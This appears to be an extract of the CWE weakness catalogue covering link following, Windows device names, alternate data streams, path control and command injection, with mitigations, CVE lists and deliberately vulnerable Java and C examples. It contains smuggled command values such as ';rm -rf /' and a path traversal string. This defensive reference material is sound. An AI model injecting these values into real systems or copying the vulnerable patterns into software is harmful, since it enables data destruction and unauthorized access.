<b>CVE-2004-1603</b>	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1603">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1603</a>
<b>CVE-2004-1901</b>	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1901">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1901</a>
<b>CVE-2005-0342</b>	The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0342">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0342</a>
<b>CVE-2005-1111</b>	Hard link race condition <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1111">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1111</a>
<b>BUGTRAQ:20030203</b>	OpenBSD chpass/chfn/chsh file content leak
<b>ASA-0001</b>	<a href="http://www.securityfocus.com/archive/1/309962">http://www.securityfocus.com/archive/1/309962</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	743	CERT C Secure Coding (2008 Version) Section 09 - Input Output (FIO)	734	1575

## CWE-64: Windows Shortcut Following (.LNK)

**Weakness ID** : 64

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

### Extended Description

The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Integrity	Modify Files or Directories	

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

**Observed Examples**

Reference	Description
<b>CVE-2000-0342</b>	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342</a>
<b>CVE-2001-1042</b>	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1042">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1042</a>
<b>CVE-2001-1043</b>	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1043">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1043</a>
<b>CVE-2005-0587</b>	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0587">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0587</a>
<b>CVE-2001-1386</b>	".LNK." - .LNK with trailing dot <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1386</a>
<b>CVE-2003-1233</b>	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1233">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1233</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding (2008 Version) Section 09 - Input Output (FIO)	734	1575
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1605
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	1635

**Notes****Research Gap**

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP18		Link in resource name resolution

## CWE-65: Windows Hard Link

<b>Weakness ID</b> : 65	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

### Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-66: Improper Handling of File Names that Identify Virtual Resources

<b>Weakness ID</b> : 66	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.

### Extended Description

Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective:  
 Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review  
 (not inspections)

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective:  
 Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE  
 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

PLOVER			Virtual Files

## CWE-67: Improper Handling of Windows Device Names

**Weakness ID :** 67

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

#### Description

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.

#### Extended Description

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

#### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	66	Improper Handling of File Names that Identify Virtual Resources	117

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	⊗	66	Improper Handling of File Names that Identify Virtual Resources	117

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

**Operating\_System :** Windows (*Prevalence = Undetermined*)

### Background Details

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Read Application Data	
Other	Other	

### Potential Mitigations

#### Phase: Implementation

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

### Observed Examples

Reference	Description
<b>CVE-2002-0106</b>	Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0106">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0106</a>

## CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

**Weakness ID** : 69**Status**: Incomplete**Structure** : Simple**Abstraction** : Variant

### Description

The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

### Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
ChildOf	⊗	66	Improper Handling of File Names that Identify Virtual Resources	117

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

### Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Non-Repudiation	Hide Activities	
Other	Other	

### Potential Mitigations

#### Phase: Testing

Software tools are capable of finding ADSs on your system.

#### Phase: Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

### Observed Examples

Reference	Description
<b>CVE-1999-0278</b>	In IIS, remote attackers can obtain source code for ASP files by appending ":: \$DATA" to the URL. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0278">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0278</a>
<b>CVE-2000-0927</b>	Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0927">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0927</a>

### Affected Resources

- System Process

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	904	SFP Primary Cluster: Malware	888	1614

### Notes

#### Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

## CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

<b>Weakness ID</b> : 72	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

### Extended Description

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊆	66	Improper Handling of File Names that Identify Virtual Resources	117

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	⊆	66	Improper Handling of File Names that Identify Virtual Resources	117

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Operating\_System** : macOS (*Prevalence = Undetermined*)

## Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute: - Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork - Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5) Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "." prepended to the name. Forks can also be accessed through non-portable APIs. Forks inherit the file system access controls of the file they belong to. Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Demonstrative Examples

### Example 1:

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

## Observed Examples

Reference	Description
<b>CVE-2004-1084</b>	Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1084">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1084</a>

## CWE-73: External Control of File Name or Path

Weakness ID : 73

Status: Draft

Structure : Simple

Abstraction : Class

## Description

The software allows user input to control or influence paths or file names that are used in filesystem operations.

## Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application. Path manipulation errors occur when the following two conditions are met: 1. An attacker can specify a path used in an operation on the filesystem. 2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Likelihood Of Exploit**

High

**Common Consequences**

Scope	Impact	Likelihood
Integrity Confidentiality	Read Files or Directories Modify Files or Directories  <i>The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.</i>	
Integrity Confidentiality Availability	Modify Files or Directories Execute Unauthorized Code or Commands  <i>The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.</i>	
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other)  <i>The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.</i>	

**Detection Methods**

**Automated Static Analysis**

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

**Potential Mitigations**

**Phase: Architecture and Design**

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` provide this capability.

**Phase: Architecture and Design****Phase: Operation**

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix `chroot` jail and `AppArmor`. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid `CWE-243` and other weaknesses related to jails.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid `CWE-602`. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as `CWE-23`, and exclude directory separators such as "/" to avoid `CWE-36`. Use a whitelist of allowable file extensions, which will help to avoid `CWE-434`. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (`CWE-184`). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (`CWE-182`). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Phase: Implementation**

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links (`CWE-23`, `CWE-59`).

**Phase: Installation****Phase: Operation**

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

### Phase: Operation

### Phase: Implementation

If you are using PHP, configure your application so that it does not use `register_globals`. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

### Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Demonstrative Examples

### Example 1:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as `../../tomcat/conf/server.xml`, which causes the application to delete one of its own configuration files (CWE-22).

*Example Language: Java*

*(bad)*

```
String rName = request.getParameter("reportName");File rFile = new File("/usr/local/apfr/reports/" + rName);...rFile.delete();
```

### Example 2:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension `.txt`.

*Example Language: Java*

*(bad)*

```
fis = new FileInputStream(cfg.getProperty("sub")+ ".txt");amt = fis.read(arr);out.println(arr);
```

MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1636

### Notes

#### Relationship

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc. However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all. The external control can be resultant from other issues. For example, in PHP applications, the register\_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

## CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

<b>Weakness ID</b> : 74	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

## Description

The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

## Extended Description

Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

## Relationships

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.</i>	
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood
	<i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Other	Alter Execution Logic  <i>Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.</i>	
Integrity Other	Other  <i>Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.</i>	
Non-Repudiation	Hide Activities  <i>Often the actions performed by injected control code are unlogged.</i>	

### Potential Mitigations

#### Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

#### Phase: Implementation

Utilize an appropriate mix of whitelist and blacklist parsing to filter control-plane syntax from all input.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1565
MemberOf		929	OWASP Top Ten 2013 Category A1 - Injection	928	1616
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

### Notes

#### Relationship

In the development view (CWE-699), this is classified as an Input Validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. In the research view (CWE-1000), however, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

**CWE-76: Improper Neutralization of Equivalent Special Elements****Weakness ID** : 76**Status**: Draft**Structure** : Simple**Abstraction** : Base**Description**

The software properly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.

**Extended Description**

The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some \*nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Potential Mitigations

#### Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

#### Phase: Implementation

Utilize an appropriate mix of whitelist and blacklist parsing to filter equivalent special element syntax from all input.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Weakness ID : 77

Status: Draft

Structure : Simple

Abstraction : Class

### Description

The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

### Extended Description

Command injection vulnerabilities typically occur when: 1. Data enters the application from an untrusted source. 2. The data is part of a string that is executed as a command by the application. 3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have. Command injection is a common problem with wrapper programs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

**Phase: Implementation**

If possible, ensure that all external commands called from the program are statically created.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Operation**

Run time: Run time policy enforcement may be used in a whitelist fashion to prevent use of any non-sanctioned commands.

**Phase: System Configuration**

Assign permissions to the software system that prevents the user from accessing/opening privileged files.

**Demonstrative Examples****Example 1:**

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

*Example Language: C*

*(bad)*

```
int main(int argc, char** argv) {char cmd[CMD_MAX] = "/usr/bin/cat ";strcat(cmd, argv[1]);system(cmd);}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

**Example 2:**

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Example Language: Java

(bad)

```
...String btype = request.getParameter("backuptype");String cmd = new String("cmd.exe /K \"c:\\util\\rmanDB.bat "+btype
+"&&c:\\util\\cleanup.bat\"") System.Runtime.getRuntime().exec(cmd);...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\\*.\*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

### Example 3:

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Example Language: Java

(bad)

```
...String home = System.getProperty("APPHOME");String cmd = home +
INITCMD;java.lang.Runtime.getRuntime().exec(cmd);...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

### Example 4:

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

Example Language: C

(bad)

```
#include <stdio.h>#include <unistd.h> int main(int argc, char **argv) { char cat[] = "cat ";char
*command;size_t commandLength; commandLength = strlen(cat) + strlen(argv[1]) + 1;command = (char *)
malloc(commandLength);strncpy(command, cat, commandLength);strncat(command, argv[1], (commandLength -
strlen(cat)) ); system(command);return (0); }
```

Used normally, the output is simply the contents of the file requested:

Example Language:

(informative)

```
$. /catWrapper Story.txtWhen last we left our heroes...
```

